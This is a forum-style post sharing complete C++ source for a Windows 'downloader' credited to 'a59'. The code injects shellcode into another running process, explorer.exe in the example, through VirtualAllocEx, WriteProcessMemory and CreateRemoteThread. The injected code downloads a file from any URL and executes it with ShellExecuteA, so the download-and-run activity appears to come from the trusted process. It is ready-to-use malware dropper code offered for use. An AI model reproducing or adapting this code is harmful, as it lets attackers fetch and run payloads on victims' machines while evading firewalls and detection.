Another code from a59, enjoy.
/*
Downloader
Makes a process download a specific file
Notes
-> Allocates two memory regions in the external process
a) Space for four strings (and the null termination bytes)
-> "URLMON.DLL"
-> "open"
-> The URL to download from
-> The path to save to
b) The calls to neccecary functions to download and execute the file
-> Builds and writes the specific instructions to download and execute the file
-> Creates a thread starting at the address of the allocated memory
-> Free's memory once download is done and executed
Usage example
CExternalDownload* Download = new CExternalDownload( );
Download->InitDownload( );
Download->DownloadFileFromProcess( Download->GetProcessPID( "explorer.exe" ),
"http://www.site.com/file.txt",
"c:\\file.txt" );
delete Download;
Resulting ASM in external process once written
PUSH 0DD0000 ; ASCII "URLMON.DLL"
CALL kernel32.LoadLibraryA
PUSH 0
PUSH 0
PUSH 0DD002D ; ASCII "c:\file.exe"
PUSH 0DD0010 ; ASCII "http://www.site.com/file.exe"
PUSH 0
CALL URLMON.URLDownloadToFileA
PUSH 5
PUSH 0
PUSH 0
PUSH 0DD002D ; ASCII "c:\file.exe"
PUSH 0DD000B ; ASCII "open"
PUSH 0
CALL SHELL32.ShellExecuteA
RETN
Coded by a59
06/06/08
*/
#include <iostream>
#include <windows.h>
#include <tlhelp32.h>
struct SNeededCalls
{
unsigned long LoadLibraryC;
unsigned long DownloadFileC;
unsigned long ShellExecuteC;
}NeededCalls;
class CExternalDownload
{
public:
// (Con/de)structors
CExternalDownload( );
~CExternalDownload( );
// Initialization
bool InitDownload( );
// Add data to calls buffer
void AddByte( unsigned char Byte );
void AddWord( unsigned short Word );
void AddDword( unsigned long Dword );
// Add ASM instructions to calls buffer
void Push( unsigned long Data );
void Call( unsigned long Function );
void WriteRetn( );
// Writes Functions in allocated space
void WriteLoadLibrary( char* szFile );
void WriteURLDownloadToFile( char* szUrl, char* szPath );
void WriteShellExecute( char* Operation, char* FileName, char* Parameters, int IsShown );
// Calculate and build each buffer
void BuildCallBuffer( int UrlLength );
void BuildStringBuffer( char* szUrl, char* szPath );
// Download
bool DownloadFileFromProcess( unsigned long Pid, char* szUrl, char* szPath );
// Get PID
unsigned long GetProcessPID( char* szFile );
protected:
unsigned char Calls[ 128 ];
char StringsAligned[ 512 ];
unsigned long MyStrings, MyCalls;
int CallSize, StringSize;
bool Initialized;
SNeededCalls NeededCalls;
};
CExternalDownload::CExternalDownload( )
{
CallSize = 0;
Initialized = false;
ZeroMemory( Calls, 128 );
ZeroMemory( StringsAligned, 512 );
};
CExternalDownload::~CExternalDownload( )
{
};
bool CExternalDownload::InitDownload( )
{
HMODULE Kernel32, Urlmon, Shell32;
Kernel32 = GetModuleHandle( "KERNEL32.DLL" );
Urlmon = LoadLibrary( "URLMON.DLL" );
Shell32 = LoadLibrary( "SHELL32.DLL" );
NeededCalls.LoadLibraryC = (unsigned long)GetProcAddress( Kernel32, "LoadLibraryA" );
NeededCalls.DownloadFileC = (unsigned long)GetProcAddress( Urlmon, "URLDownloadToFileA" );
NeededCalls.ShellExecuteC = (unsigned long)GetProcAddress( Shell32, "ShellExecuteA" );
if( !NeededCalls.LoadLibraryC || !NeededCalls.DownloadFileC || !NeededCalls.ShellExecuteC )
return false;
Initialized = true;
return true;
};
void CExternalDownload::AddByte( unsigned char Byte )
{
*(unsigned char *)(Calls + CallSize) = Byte;
CallSize += 1;
};
void CExternalDownload::AddWord( unsigned short Word )
{
*(unsigned short *)(Calls + CallSize) = Word;
CallSize += 2;
};
void CExternalDownload::AddDword( unsigned long Dword )
{
*(unsigned long *)(Calls + CallSize) = Dword;
CallSize += 4;
};
void CExternalDownload::Push( unsigned long Data )
{
if( Data <= 0xFF )
{
AddByte( 0x6A );
AddByte( Data );
} else {
AddByte( 0x68 );
AddDword( Data );
}
};
void CExternalDownload::Call( unsigned long Function )
{
AddByte( 0xE8 );
AddDword( Function - ( MyCalls + CallSize - 1 ) - 5 );
};
void CExternalDownload::WriteRetn( )
{
AddByte( 0xC3 );
};
void CExternalDownload::WriteLoadLibrary( char* szFile )
{
Push( (unsigned long)szFile );
Call( NeededCalls.LoadLibraryC );
};
void CExternalDownload::WriteURLDownloadToFile( char* szUrl, char* szPath )
{
Push( 0 );
Push( 0 );
Push( (unsigned long)szPath );
Push( (unsigned long)szUrl );
Push( 0 );
Call( NeededCalls.DownloadFileC );
};
void CExternalDownload::WriteShellExecute( char* Operation, char* FileName, char* Parameters, int IsShown )
{
Push( IsShown );
Push( 0 );
Push( (unsigned long)Parameters );
Push( (unsigned long)FileName );
Push( (unsigned long)Operation );
Push( 0 );
Call( NeededCalls.ShellExecuteC );
};
void CExternalDownload::BuildCallBuffer( int UrlLength )
{
char* szUrlmonDLL = (char *)MyStrings;
char* szOpen = (char *)MyStrings + 11;
char* szUrl = (char *)MyStrings + 16;
char* szPath = (char *)MyStrings + UrlLength + 17;
WriteLoadLibrary( szUrlmonDLL );
WriteURLDownloadToFile( szUrl, szPath );
WriteShellExecute( szOpen, szPath, 0, SW_SHOW );
WriteRetn( );
};
void CExternalDownload::BuildStringBuffer( char* szUrl, char* szPath )
{
/* Buffer will be ZeroMemory'd before this call */
unsigned long DllAddress = (unsigned long)StringsAligned;
unsigned long OpenAddress = (unsigned long)StringsAligned + 11;
unsigned long UrlAddress = (unsigned long)StringsAligned + 16;
unsigned long PathAddress = (unsigned long)StringsAligned + 17 + strlen( szUrl );
strcpy( (char *)DllAddress, "URLMON.DLL" );
strcpy( (char *)OpenAddress, "open" );
strcpy( (char *)UrlAddress, szUrl );
strcpy( (char *)PathAddress, szPath );
};
bool CExternalDownload::DownloadFileFromProcess( unsigned long Pid, char* szUrl, char* szPath )
{
HANDLE hProcess, ExternalThread;
if( !Initialized )
return false;
if( ( hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, Pid ) ) == 0 )
return false;
StringSize = 11 + 5 + strlen( szUrl ) + strlen( szPath ) + 2;
MyStrings = (unsigned long)VirtualAllocEx( hProcess, 0, StringSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
MyCalls = (unsigned long)VirtualAllocEx( hProcess, 0, 75, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !MyStrings || !MyCalls )
{
CloseHandle( hProcess );
return false;
}
BuildStringBuffer( szUrl, szPath );
BuildCallBuffer( strlen( szUrl ) );
if( !WriteProcessMemory( hProcess, (void *)MyCalls, Calls, 75, 0 ) )
{
CloseHandle( hProcess );
return false;
}
if( !WriteProcessMemory( hProcess, (void *)MyStrings, StringsAligned, StringSize, 0 ) )
{
CloseHandle( hProcess );
return false;
}
ExternalThread = CreateRemoteThread( hProcess, 0, 0, (LPTHREAD_START_ROUTINE)MyCalls, 0, 0, 0 );
if( !ExternalThread )
{
CloseHandle( hProcess );
return false;
}
WaitForSingleObject( ExternalThread, INFINITE );
VirtualFreeEx( hProcess, (void *)MyCalls, 75, MEM_DECOMMIT );
VirtualFreeEx( hProcess, (void *)MyStrings, StringSize, MEM_DECOMMIT );
CloseHandle( hProcess );
return true;
};
unsigned long CExternalDownload::GetProcessPID( char* szFile )
{
PROCESSENTRY32 pe32;
HANDLE hProcess;
pe32.dwSize = sizeof( PROCESSENTRY32 );
hProcess = CreateToolhelp32Snapshot( 2, 0 );
if( !hProcess )
return 0;
if( !Process32First( hProcess, &pe32 ) )
return 0;
do
{
if( stricmp( szFile, pe32.szExeFile ) == 0 )
{
return pe32.th32ProcessID;
}
}while( Process32Next( hProcess, &pe32 ) );
return 0;
};
int main( )
{
CExternalDownload* Download;
char szUrl[ 512 ], szPath[ MAX_PATH ], szFile[ 128 ];
unsigned long Pid;
std::cout << "Enter the URL to download from: ";
std::cin.getline( szUrl, 512 );
std::cout << "Enter the path to save to: ";
std::cin.getline( szPath, MAX_PATH );
std::cout << "Enter the process to download from: ";
std::cin.getline( szFile, 128 );
Download = new CExternalDownload( );
if( !Download->InitDownload( ) )
{
std::cout << "Error locating needed function addresses\n";
return 0;
}
Pid = Download->GetProcessPID( szFile );
if( Pid == 0 )
{
std::cout << "Process not running\n";
} else {
if( Download->DownloadFileFromProcess( Pid, szUrl, szPath ) )
{
std::cout << "Started download from " << szUrl << " to " << szPath << " as " << szFile << "(" << Pid << ")" << std::endl;
} else {
std::cout << "Error starting download\n";
}
}
delete Download;
return 0;
};